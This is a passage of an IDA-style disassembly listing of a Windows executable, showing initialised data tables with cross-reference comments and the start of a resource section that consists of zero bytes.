dword_48A27C dd 0 ; DATA XREF: sub_42094E+4Br
dword_48A280 dd 10h dup(0) ; DATA XREF: sub_42094E+FBo
word_48A2C0 dw 0 ; DATA XREF: sub_420BAC+46r
word_48A2C2 dw 0 ; DATA XREF: sub_42094E:loc_4209C5r
; sub_420BAC+78r ...
word_48A2C4 dw 0 ; DATA XREF: sub_420BAC+67r
word_48A2C6 dw 0 ; DATA XREF: sub_420BAC+70r
; sub_420BAC:loc_420C30r
word_48A2C8 dw 0 ; DATA XREF: sub_420BAC+5Dr
word_48A2CA dw 0 ; DATA XREF: sub_420BAC+55r
word_48A2CC dw 0 ; DATA XREF: sub_420BAC+4Dr
word_48A2CE dw 0 ; DATA XREF: sub_420BAC+3Er
dword_48A2D0 dd 0 ; DATA XREF: sub_42094E+80r
dword_48A2D4 dd 0 ; DATA XREF: sub_42094E+132r
; sub_42094E:loc_420A9Ar ...
dword_48A2D8 dd 0 ; DATA XREF: sub_420939r sub_420939+Ew
dword_48A2DC dd 0 ; DATA XREF: sub_42105F+3r
; sub_42105F+2Ew ...
dword_48A2E0 dd 0 ; DATA XREF: sub_42105F+43w
; sub_42105F:loc_4210AEr
dword_48A2E4 dd 0 ; DATA XREF: sub_42105F+4Aw
; sub_42105F+60r
dword_48A2E8 dd 0 ; DATA XREF: sub_41FEC6+3Fr
dword_48A2EC dd 0 ; DATA XREF: sub_421C3C:loc_421CA3r
; sub_421C3C+6Do
dword_48A2F0 dd 0 ; DATA XREF: sub_421C3C:loc_421C7Ar
; sub_421C3C+44o
dword_48A2F4 dd 0 ; DATA XREF: sub_421C3C:loc_421C6Dr
; sub_421C3C+37o
dword_48A2F8 dd 0 ; DATA XREF: sub_421C3C:loc_421C87r
; sub_421C3C+51o
align 10h
dword_48A300 dd 0 ; DATA XREF: sub_4221EA+28r
; sub_4221EA+48w ...
dword_48A304 dd 0 ; DATA XREF: sub_422C78+28r
; sub_422C78+4Cw ...
dword_48A308 dd 0 ; DATA XREF: sub_422F03+26r
; sub_422F03:loc_422F6Dw
byte_48A30C db 0 ; DATA XREF: sub_40482Cr sub_40482C+9w
align 10h
dword_48A310 dd 23F1140h ; DATA XREF: sub_41A835:loc_41A846r
; sub_41AADC+14r ...
align 10h
dword_48A320 dd 400h dup(0) ; DATA XREF: ___:off_43BCB8o
; ___:0043BCC0o
dword_48B320 dd 200h ; DATA XREF: sub_41A835+9r
; sub_41A835+56r ...
dd 7 dup(0)
dword_48B340 dd 23F0650h ; DATA XREF: sub_419D23+B1r
; sub_41E248+75r ...
dword_48B344 dd 3Fh dup(0) ; DATA XREF: ___:0041F651o
dword_48B440 dd 20h ; DATA XREF: sub_41A6B7+8r
; sub_41E321+Cr ...
dword_48B444 dd 4E4h ; DATA XREF: sub_41E92D+14r
; sub_41E92D+65w ...
align 10h
dword_48B450 dd 3 dup(0) ; DATA XREF: sub_41E92D+123o
; sub_41E92D+171o ...
dword_48B45C dd 0 ; DATA XREF: sub_41E92D+108w
; sub_41E92D+15Dw ...
byte_48B460 db 0 ; DATA XREF: sub_41EB6C:loc_41EC78w
; sub_41EB6C:loc_41EC95w ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
byte_48B560 db 0 ; DATA XREF: sub_41E92D+5Co
; sub_41E92D+AFo ...
byte_48B561 db 0 ; DATA XREF: sub_4192B8+5Dr
; sub_41E92D+A0w ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_48B664 dd 0 ; DATA XREF: sub_41E92D+6Ew
; sub_41E92D+12Bw ...
dword_48B668 dd 0 ; DATA XREF: sub_41B3E6+5r
; sub_41B3E6+32w
dword_48B66C dd 0 ; DATA XREF: sub_41ADB4+23Ar
; sub_41ADB4+25Ar ...
dword_48B670 dd 0 ; DATA XREF: sub_41ADB4+311w
; sub_41B0DD:loc_41B12Dr ...
dword_48B674 dd 0 ; DATA XREF: sub_41ADB4+22Dr
; sub_41ADB4+260r ...
dword_48B678 dd 0 ; DATA XREF: sub_41AD89r
; sub_41ADB4+2CBr ...
dword_48B67C dd 0 ; DATA XREF: sub_41AD89+8r
; sub_41ADB4+2D0r ...
dword_48B680 dd 0 ; DATA XREF: sub_417BC7+Fr
; sub_41944F+5Cr ...
dword_48B684 dd 23F0000h ; DATA XREF: sub_417BC7+66r
; sub_417C3B+5Ar ...
dword_48B688 dd 1 ; DATA XREF: sub_417BC7r sub_417C3B+Cr ...
dword_48B68C dd 142340h ; DATA XREF: ___:0041F13Er
; ___:0041F269r
dword_48B690 dd 1 ; DATA XREF: ___:0041F234w sub_421DAEr
dword_48B694 dd 1 ; DATA XREF: sub_41ECF1r
; sub_41ECF1+11w ...
dword_48B698 dd 23F0758h ; DATA XREF: sub_418603+13r
; sub_418603:loc_418645r ...
dword_48B69C dd 23F0758h ; DATA XREF: sub_418603+1r
; sub_418603+Cr ...
dd 258h dup(0)
dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___ ends
; Section 2. (virtual address 0008D000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 0008D000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_rsrc___ segment para public 'DATA' use32
assume cs:_rsrc___
;org 48D000h
unk_48D000 db 0 ; DATA XREF: Themida_:004EECCCo
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
